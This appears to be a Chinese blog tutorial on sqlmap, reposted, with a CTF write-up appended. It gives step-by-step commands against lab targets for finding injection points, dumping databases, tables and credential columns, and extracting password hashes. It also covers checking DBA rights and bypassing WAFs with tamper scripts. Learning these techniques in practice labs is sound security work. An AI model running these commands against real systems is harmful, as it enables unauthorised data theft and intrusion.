sqlmap 的使用

快速入门;SQLmap(常规)使用步骤

1、检测「注入点」

1
sqlmap -u 'http://xx/?id=1'

2、查看所有「数据库」

1
sqlmap -u 'http://xx/?id=1' --dbs

3、查看当前使用的数据库

1
sqlmap -u 'http://xx/?id=1' --current-db

4、查看「数据表」

1
sqlmap -u 'http://xx/?id=1' -D 'security' --tables

5、查看「字段」

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

6、查看「数据」

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

真正执行过程

一、目标

检测「注入点」前,需要指定需要检测的「对象」。

1、指定url

-u 参数,指定需要检测的url,单/双引号包裹。中间如果有提示,就输入y。

提示:SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。

1
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1'

扫描完成后,告诉我们存在的注入类型和使用的数据库及版本。

36c46f83587530ee.png

2、指定文件(批量检测)

准备一个「文件」,写上需要检测的多个url,一行一个。

f2d367eecc174db1.png

96f71935e9d05440.png

3、指定数据库/表/字段

-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。

-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。

-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

1
2
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump

4、post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

1
sqlmap -r bp.txt

5、cookie注入

--cookie 指定cookie的值,单/双引号包裹。

1
sqlmap -u "http://xx?id=x" --cookie 'cookie'

二、脱库

获取所有内容

1
2
sqlmap -u 'http://xx/?id=1' -a

-a 就是 all 的意思,获取所有能获取的内容,会消耗很长时间。

1、获取数据库

--dbs 获取数据库

1.1、获取数据库版本

1
sqlmap -u 'http://xx/?id=1' -b

62607c748bd9192d.png

1.2、获取当前使用的数据库

1
sqlmap -u 'http://xx/?id=1' --current-db

f400720c070cbbc0.png

1.3、获取所有数据库

1
sqlmap -u 'http://xx/?id=1' --dbs

a2eda61ea719853e.png

2、获取表

--tables 获取表

2.1、获取表,可以指定数据库

1
sqlmap -u 'http://xx/?id=1' -D 'security' --tables

5d5a9948cac58bbf.png

2.2、同时获取多个库的表名,库名用逗号分隔。

1
sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables

08d85bd30bd82b86.png

2.3、不指定数据库,默认获取数据库中所有的表。

1
sqlmap -u 'http://xx/?id=1' --tables

123a5e5942e6a137.png

3、获取字段

--columns 参数用来获取字段。

3.1、获取字段,可以指定库和表

提示:只指定库名但不指定表名会报错。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns

095a7a1aa0ddb590.png

3.2、不指定表名,默认获取当前数据库中所有表的字段。

1
sqlmap -u 'http://xx/?id=1' --columns

bcd08005b0661594.png

4、获取字段类型

--schema 获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。

1
2
sqlmap -u 'http://xx/?id=1' -D 'security' --schema
1

最后面显示每个表的字段类型。

4ce9da320ec5af4b.png

5、获取值(数据)

--dump 获取值,也就是表中的数据。可以指定具体的库、表、字段。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump

86e4c0618693bde5.png

获取指定库中所有表的数据。

1
sqlmap -u 'http://xx/?id=1' -D 'security' --dump

36fa3a489003bde1.png

默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5  --dump

d451614b778ee02e.png

6、获取用户

6.1、获取当前登录数据库的用户

1
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user

9eff8905c983e898.png

6.2、获取所有用户

--users 获取数据库的所有用户名。

1
sqlmap -u 'http://xx/?id=1' --users

a64f3c8598a2bd0c.png

6.3、获取用户密码

--passwords 获取所有数据库用户的密码(哈希值)。

数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。

ef712940b7aa52c4.png

6.4、获取用户权限

--privileges 查看每个数据库用户都有哪些权限。

1
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --privileges

7311379af93a892a.png

6.5、判断当前用户是不是管理员

--is-dba 判断当前登录的用户是不是数据库的管理员账号。

1
sqlmap -u 'http://xx/?id=1' --is-dba

62254717c3b74c26.png

7、获取主机名

--hostname 获取服务器主机名。

1
sqlmap -u 'http://xx/?id=1' --hostname

e075b96ea1eb6b63.png

8、搜索库、表、字段。

--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。

搜索数据库中有没有 security 这个数据库:

1
sqlmap -u 'http://xx/?id=1' -D 'security' --search

933c52680bec3a79.png

也可以搜索表

1
sqlmap -u 'http://xxx/?id=1' -T 'users' --search

或者搜索字段

1
sqlmap -u 'http://xx/?id=1' -C 'username' --search

9、正在执行的SQL语句
–statements 获取数据库中正在执行的SQL语句。

1
sqlmap -u 'http://xx/?id=1' --statements

69044867fef4516e.png

三、WAF绕过

--tamper 指定绕过脚本,绕过WAF或ids等。

1
sqlmap -u 'http://xx/?id=1' --tamper 'space2comment.py'

9e512ba5649454d8.png

三、其他
–batch (默认确认)不再询问是否确认。

–method=GET 指定请求方式(GET/POST)

–random-agent 随机切换UA(User-Agent)

–user-agent ‘ ‘ 使用自定义的UA(User-Agent)

–referer ‘ ‘ 使用自定义的 referer

–proxy=”127.0.0.1:8080” 指定代理

–threads 10 设置线程数,最高10

–level=1 执行测试的等级(1-5,默认为1,常用3)

–risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

用来学习参考————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/wangyuxiang946/article/details/131236510

利用sqlmap进行POST注入

知识点:

利用sqlmap进行POST注入,常见的有三种方法:

打开题目

13424cb7dfe906a8.png

注入方式一:

1.用Burp抓包,然后保存抓取到的内容。例如:保存为post.txt,然后把它放至某个目录下

03e37d9b81fb21ae.png

2.列数据库:

1
sqlmap -r "1.txt" --dbs

0a37a499a86d8c90.png

3.猜表

选择一个数据库,比如选staff(这个比较可疑)

61b372d5a8591efc.png

查查flag表

4.猜列

sqlmap -r “1.txt” -D staff -T flag –columns

1f03a63a9044083f.png

5.猜数据

sqlmap -r “1.txt” -D staff -T flag -C “flag” –dump

dcba6d98cbc0d15d.png

flag出了

flag{U_@re_Sq1_M@ster}